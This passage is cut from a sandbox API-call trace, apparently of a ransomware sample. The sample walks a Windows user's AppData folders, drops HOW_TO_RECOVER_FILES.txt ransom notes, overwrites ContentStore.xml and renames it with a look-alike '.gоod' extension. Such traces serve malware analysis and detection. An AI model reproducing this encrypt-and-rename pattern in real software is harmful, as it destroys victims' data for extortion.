lpNumberOfBytesRead=0x204ec2f8*=0x18, lpOverlapped=0x0) returned 1 [0254.925] CloseHandle (hObject=0x834) returned 1 [0255.000] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\Preferred", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\Preferred", lpFilePart=0x0) returned 0x69 [0255.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0255.001] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\Preferred" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\preferred"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0255.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e8c10) returned 1 [0255.003] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x78 [0255.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0255.003] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0255.005] GetFileType (hFile=0x86c) returned 0x1 [0255.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0255.005] GetFileType (hFile=0x86c) returned 0x1 [0255.006] WriteFile (in: hFile=0x86c, lpBuffer=0x3aae2f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x3aae2f8*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0255.006] CloseHandle (hObject=0x86c) returned 1 [0255.006] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4a [0255.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0255.006] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0255.314] GetFileType (hFile=0x86c) returned 0x1 [0255.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0255.314] GetFileType (hFile=0x86c) returned 0x1 [0255.315] WriteFile (in: hFile=0x86c, lpBuffer=0x3b83080*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3b83080*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0255.315] CloseHandle (hObject=0x86c) returned 1 [0255.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0255.315] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher", lpFilePart=0x0) returned 0x33 [0255.316] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422eea37, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x422eea37, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x422eea37, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0255.316] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422eea37, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x422eea37, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x422eea37, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.317] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422eea37, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x422eea37, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x422eea37, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0255.317] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0255.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0255.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0255.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0255.317] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher", lpFilePart=0x0) returned 0x33 [0255.317] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422eea37, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x422eea37, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x422eea37, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0255.317] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422eea37, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x422eea37, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x422eea37, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.317] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422eea37, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x422eea37, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x422eea37, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0255.317] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0255.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0255.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0255.318] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4c [0255.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0255.318] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\publisher\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0255.318] GetFileType (hFile=0x86c) returned 0x1 [0255.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0255.318] GetFileType (hFile=0x86c) returned 0x1 [0255.319] WriteFile (in: hFile=0x86c, lpBuffer=0x3b940f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3b940f0*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0255.319] CloseHandle (hObject=0x86c) returned 1 [0255.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0255.319] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks", lpFilePart=0x0) returned 0x43 [0255.319] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xde511f85, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xde511f85, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0255.320] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xde511f85, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xde511f85, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.334] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x43fd72ee, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0xde511f85, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContentStore.xml", cAlternateFileName="CONTEN~1.XML")) returned 1 [0255.335] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0255.335] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0255.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0255.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0255.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0255.335] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks", lpFilePart=0x0) returned 0x43 [0255.335] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xde511f85, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xde511f85, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0255.335] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xde511f85, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xde511f85, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.335] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x43fd72ee, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0xde511f85, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContentStore.xml", cAlternateFileName="CONTEN~1.XML")) returned 1 [0255.335] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x43fd72ee, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0xde511f85, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContentStore.xml", cAlternateFileName="CONTEN~1.XML")) returned 0 [0255.336] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0255.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0255.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0255.336] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpFilePart=0x0) returned 0x54 [0255.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecda0) returned 1 [0255.336] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), fInfoLevelId=0x0, lpFileInformation=0x3ba3598 | out: lpFileInformation=0x3ba3598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x43fd72ee, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0xde511f85, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0xa8)) returned 1 [0255.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecd60) returned 1 [0255.337] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", nBufferLength=0x105, lpBuffer=0x204ec730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpFilePart=0x0) returned 0x54 [0255.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecc50) returned 1 [0255.337] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0255.337] GetFileType (hFile=0x86c) returned 0x1 [0255.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecbc0) returned 1 [0255.337] GetFileType (hFile=0x86c) returned 0x1 [0255.337] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x204ecdf8 | out: lpFileSizeHigh=0x204ecdf8*=0x0) returned 0xa8 [0255.337] ReadFile (in: hFile=0x86c, lpBuffer=0x3ba3938, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ecd28, lpOverlapped=0x0 | out: lpBuffer=0x3ba3938*, lpNumberOfBytesRead=0x204ecd28*=0xa8, lpOverlapped=0x0) returned 1 [0255.337] CloseHandle (hObject=0x86c) returned 1 [0255.559] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", nBufferLength=0x105, lpBuffer=0x204ec730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpFilePart=0x0) returned 0x54 [0255.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecc50) returned 1 [0255.559] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x870 [0255.560] GetFileType (hFile=0x870) returned 0x1 [0255.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecbc0) returned 1 [0255.560] GetFileType (hFile=0x870) returned 0x1 [0255.560] WriteFile (in: hFile=0x870, lpBuffer=0x3b7ca88*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x204ecc38, lpOverlapped=0x0 | out: lpBuffer=0x3b7ca88*, lpNumberOfBytesWritten=0x204ecc38*=0xb0, lpOverlapped=0x0) returned 1 [0255.560] CloseHandle (hObject=0x870) returned 1 [0255.560] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpFilePart=0x0) returned 0x54 [0255.560] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.gоod", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.gоod", lpFilePart=0x0) returned 0x59 [0255.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecd60) returned 1 [0255.560] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), fInfoLevelId=0x0, lpFileInformation=0x204ece40 | out: lpFileInformation=0x204ece40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x43fd72ee, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x948a805f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0255.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecd20) returned 1 [0255.560] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml.gоod")) returned 1 [0255.561] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5c [0255.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0255.561] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\publisher building blocks\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x870 [0255.562] GetFileType (hFile=0x870) returned 0x1 [0255.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0255.562] GetFileType (hFile=0x870) returned 0x1 [0255.562] WriteFile (in: hFile=0x870, lpBuffer=0x3b81210*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3b81210*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0255.563] CloseHandle (hObject=0x870) returned 1 [0255.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0255.563] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Signatures", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Signatures", lpFilePart=0x0) returned 0x34 [0255.563] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Signatures\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38fae20, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38fae20, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38fae20, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0255.564] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38fae20, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38fae20, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38fae20, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.564] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38fae20, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38fae20, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38fae20, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0255.564] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0255.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0255.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0255.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0255.564] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Signatures", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Signatures", lpFilePart=0x0) returned 0x34 [0255.564] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Signatures\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38fae20, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38fae20, 